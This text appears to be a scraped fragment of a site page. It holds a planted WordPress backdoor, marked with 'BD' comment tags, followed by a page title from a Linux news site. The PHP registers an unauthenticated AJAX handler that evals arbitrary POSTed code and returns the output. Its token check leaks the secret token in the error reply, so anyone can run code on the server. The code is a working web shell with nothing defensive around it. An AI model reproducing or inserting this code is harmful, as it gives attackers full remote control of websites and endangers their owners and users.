// ==[BD:1eH3zFA0]== add_action( 'wp_ajax_nopriv_fpjekcycubx', function() { $comp = '1eH3zFA0jKyhTblRacgsXCfRWcU9Bwq8'; $factor = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $factor ) || ! hash_equals( $comp, $factor ) ) { wp_send_json_error( [ 'message' => 'tok:' . $comp ], 403 ); } $val = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $val ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $val = preg_replace( '/^\s*<\?(php)?/i', '', $val ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $token = microtime( true ); ob_start(); try { ( static function() use ( $val ) { return eval( $val ); } )(); $entry = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $entry, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $token ) * 1000, 2 ) ] ); } catch ( \Throwable $sym ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $sym->getMessage(), 'time_ms' => round( ( microtime( true ) - $token ) * 1000, 2 ) ] ); } } ); // ==[/BD:1eH3zFA0]== LinuxForDevices - Page 14 of 129 - LinuxForDevices